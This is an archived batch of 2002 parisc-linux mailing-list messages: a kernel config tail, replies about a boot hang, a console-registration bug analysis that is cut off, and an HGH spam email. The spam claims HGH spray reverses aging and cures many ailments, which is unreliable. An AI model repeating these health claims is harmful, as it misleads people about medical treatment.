CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# PCMCIA SCSI adapter support
#
# CONFIG_SCSI_PCMCIA is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
CONFIG_DUMMY=m
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_SUNLANCE is not set
CONFIG_HAPPYMEAL=m
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
CONFIG_HAMACHI=m
CONFIG_YELLOWFIN=m
CONFIG_SK98LIN=m
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# PCMCIA character devices
#
# CONFIG_PCMCIA_SERIAL_CS is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
CONFIG_AUTOFS4_FS=y
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
CONFIG_EXT3_FS=y
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
CONFIG_TMPFS=y
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=y
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
CONFIG_USB=m
# CONFIG_USB_DEBUG is not set
CONFIG_USB_DEVICEFS=y
# CONFIG_USB_BANDWIDTH is not set
# CONFIG_USB_LONG_TIMEOUT is not set
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
CONFIG_USB_OHCI=m
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y
CONFIG_KDB=y
CONFIG_KDB_MODULES=y
CONFIG_KDB_OFF=y
CONFIG_KALLSYMS=y

--wRRV7LY7NUeQGEoC--



From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa29 problem
Date: Wed, 29 May 2002 10:18:29 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <A82E4B62-72DC-11D6-8311-0030656F07A2@esiee.fr>
References: <Pine.LNX.4.44.0205281829180.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621328 7948 80.91.229.3 (22 Nov 2014 01:55:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 02:18:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8217482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 02:18:46 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 314F049C22; Wed, 29 May 2002 10:18:45 +0200 (CEST)
In-Reply-To: <Pine.LNX.4.44.0205281829180.11012-100000@garibaldi.apptechsys.com>
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14882

Le mercredi 29 mai 2002, =E0 03:32 , Jeremy Drake a =E9crit :

> I don't know if this is related to my other problems or not, but when
> booting an SMP 2.4.18-pa29 kernel from CVS, the box stops after=20
> displaying
> "Freeing Unused Kernel Memory".  The box is still semi-responsive, in=20=

> that
> stuff sent to the serial  console is echoed back, and the power button
> makes it say "shutting down" but nothing happens beyond that.
>
This is quite weird, because we have such a problem here:

With kernels 2.4.18-pa23 and above, it happens that some times the box=20=

won't reboot after a normal shutdown, or even a crash.
It stops at the same point ("Freeing Unused Kernel Memory"), and we also=20=

have the "shutdown requested" echo when pushing the button, but nothing=20=

happens.

A complete shutdown and reboot won't change a thing.

What is very weird, is that the same boxes boot fine with the original=20=

2.4.9-32 and fsck doesn't show anything bad.
We also had the case of a box that won't reboot with 2.4.18-pa23, but=20
when we tried the day after, it booted fine !
We also discovered that adding a init=3D/bin/sh param to the linux =
kernel=20
did the trick and let the machine boot.

We suspect an INIT problem.

Hope this might help.



Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa29 problem
Date: 29 May 2002 18:26:50 +1000
Lines: 16
Approved: news@gmane.org
Message-ID: <1022660810.4015.7.camel@rotapile>
References: <A82E4B62-72DC-11D6-8311-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621328 7949 80.91.229.3 (22 Nov 2014 01:55:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:28 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 02:27:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rotapile (CPE-203-45-167-61.qld.bigpond.net.au [203.45.167.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0E76482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 02:27:29 -0600 (MDT)
Original-Received: from rob by rotapile with local (Exim 3.22 #1 (Red Hat Linux))
	id 17CynC-0001vr-00; Wed, 29 May 2002 18:26:50 +1000
In-Reply-To: <A82E4B62-72DC-11D6-8311-0030656F07A2@esiee.fr>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14883

> We also discovered that adding a init=/bin/sh param to the linux kernel 
> did the trick and let the machine boot.
> 
> We suspect an INIT problem.
> 
> Hope this might help.
> 

When we did LTSP for sparc it was based it off the woody binaries, we
had the same problem and yes could also do init=/bin/bash. We ended up
using init from slackware resulting in a slightly bastardised but
working distribution.

Robert Stanford



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: medbrkthrgh77562818@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Medical Breakthrough... aging can be reversed with HGH
Date: Sat, 25 May 2002 04:39:12 -0700
Lines: 202
Approved: news@gmane.org
Message-ID: <20020529094829.57E0A482A@dsl2.external.hp.com>
Reply-To: medbrkthrgh77@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621329 7953 80.91.229.3 (22 Nov 2014 01:55:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:29 +0000 (UTC)
Cc: parenting_orders@timeinc.com, parfum@gate.net,
	parisc-linux-announce-request@lists.parisc-linux.org,
	parisc-linux-cvs-request@lists.parisc-linux.org,
	parisc-linux-request@lists.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: parent_predicament@mail.ivillage.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 03:48:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kygroup.co.kr (unknown [61.80.255.131])
	by dsl2.external.hp.com (Postfix) with SMTP id 57E0A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 03:48:29 -0600 (MDT)
Original-Received: from test (66.135.234.222)
	by kygroup.co.kr (61.80.255.130) with [Nmail V3.0 20010809(S)]
	for <parisc-linux@lists.parisc-linux.org> from <medbrkthrgh77@yahoo.com>;
	Sat, 25 May 2002 20:41:44 +0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14884

There are three different types of HGH products.
The confusion is that all three are 
advertised as if they were the same.
  
        The three types are:
 
1) --- Homeopathic HGH
2) --- Pre-cursor HGH
3) --- Real or synthetic HGH (delivered by injection 
        or, by an oral spray method).
 
Do you know differences?
 
Call us and we'll explain them to you.
 
Our toll free number is 1-888-621-7300
An HGH staff member is avialable
9 to 5 Pacific Time.
If after hours, please leave you name
and day and evening phone numbers.
We will call you back in a no pressure,
educational manner.
If you are overseas call your long distance
operator and ask to be connected to our
phone number.  We will call you back so
we can pay for the long distance charges.
 
For more information on HGH read on............
 
HAVE YOU HEARD OF 
HUMAN GROWTH HORMONE (HGH)???
 
     Released by your own pituitary gland, HGH starts declining 
in your 20s, even more in your 30s and 40s, eventually resulting
in the shrinkage of major organs -- plus, all 
other symptoms related to old age.
 
 
IN THOUSANDS OF CLINICAL STUDIES, 
HGH HAS BEEN SHOWN TO ACCOMPLISH THE FOLLOWING:
 
* Reduce Body Fat and Build Lean Muscle 
   WITHOUT EXERCISE!
 
* Enhance Sexual Performance
 
* Remove Wrinkles and Cellulite
 
* Lower Blood Pressure and Improve Cholesterol Profile
 
* Improve Sleep, Vision and Memory
 
* Restore Hair Color and Growth
 
* Strengthen the Immune System
 
* Increase Energy and Cardiac Output
 
* Turn back your body's Biological Time Clock 10 - 20 years
 
* Live Longer AND Stronger
 
All natural and organic plant based 
 
FEEL 10 YEARS YOUNGER WITH ORAL SPRAY HGH.
GUARANTEED
 
    We are the manufacturer and we sell directly to Doctors, 
Chiropractors, and consumers world wide the highest grade
 HGH Oral Spray available.  
 
     With internet marketing, we are able to save advertising 
cost and pass those savings along to you.
But you must act now.  
 
To receive more information call  us now.
 
            TOLL FREE 1-888-621-7300
 
We must speak to you in person to qualify your usage.
 
     All of your questions will be addressed and answered in a friendly, 
no pressure manner.  Our main purpose is to provide you with
 information so you can make an educated decision.
 
     For more information call
  
            1-888-621-7300
 
 If you are on line write down our 
phone number and call us when you can.
 
Soon, you and your loved ones will be very glad you did.
 
Read what people are saying:
 
"The effects of 6 months of GH on
lean body mass and fat were equivalent
in magnitude to the changes incurred
during 10-20 years of aging."
Dr. Daniel Rudman, MD,
New England Journal of Medicine.
 
"Within four months, my body fat decreased
 form 30% down to 21%! I noticed my skin
 is more supple and my overall mental
 outlook improved significantly."
 D.W., New Jersey
 
"We have been on the spray for just 3 weeks
now, and besides the tremendous energy we
both feel, my husbands allergies and spells
of depression have lifted. I am healing
extremely fast after an accident and have
lost 7 lbs. without trying!"
C.B., Flagstaff. AZ
 
Thanks for reading our letter,
The HGH Staff
USA Division
 
PS:  The HGH Staff guarantees the 
highest quality and lowest price.
 
 We manufacture and ship directly to your door.
 
Call us now 1-888-621-7300
 
=======   End of message ========  
 
   The following statement is provided to be 
in compliance with commercial email laws.
 
   If you do not wish to receive further
mailings, please click reply and type remvoe in the subject box.
Then click send.
 
   This message is in full compliance with
U.S. Federal requirements for commercial
email under bill S.1618 Title lll, Section 301,
Paragraph (a)(2)(C) passed by the 105th U.S.
Congress and is not considered SPAM
since it includes a remove mechanism.*
This message is not intended for residents in the
states of CA, NC, NV, RI, TN, VA & WA. 
Screening of addresses has been done to the best
of our technical ability.
 
             Call us now 1-888-621-7300 for your 
             free HGH consultation.
Thank you

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

--
562818141198765544



From - Thu Nov 08 21:22:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EARLY_BOOTUP_DEBUG, PDC_CONSOLE, register_console()
Date: Wed, 29 May 2002 10:26:33 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20020529092633.GJ3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621329 7956 80.91.229.3 (22 Nov 2014 01:55:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 03:49:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D70E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 03:49:26 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 06D2E9ECF7; Wed, 29 May 2002 10:26:33 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14885

Hi,
  Tried turning on EARLY_BOOTUP_DEBUG in a 'standard' kernel config and
booting the resulting kernel on a B180, using sti console.  Kernel
parameters were init=/bin/sh and console=tty0.  Console output stopped
after "freeing init memory".  System wasn't hung, however, but /bin/sh
was actually talking to ttyS0.

The reason is as follows; I now have three things calling
register_console() - pdc console (ttyB0), vt (tty0), and serial console
(ttyS0).  I have specified console=tty0, so kernel/printk.c will process
that and set preferred_console=0; register_console(ttyB0) is called
next, then register_console(tty0) is called.  At this point
register_console() notes that ttyB0 was a boot console, and calls
unregister_console(ttyB0), which sets preferred_console=-1.  Finally
register_console(ttyS0) is called, which sees preferred_console=-1,
thinks this is the first register_console() call, and sets ttyS0 as the
console device.

One fix is below; it doesn't make sense to unset preferred_console if
console= was specified on the command line.

After this this fix things seem ok booting with console=tty0 or ttyS0.
I then turned on PDC_CONSOLE, and can still boot with console=tty0 or
ttyS0, so if may now be safe to have pdc console enabled by default.

Trying to boot with console=ttyB0 (using graphical console) was
interesting; console output works, although stifb messed with the
colours, so I have dark blue text on a black background.  Console input
didn't work though, I guess because the kernel keyboard driver was
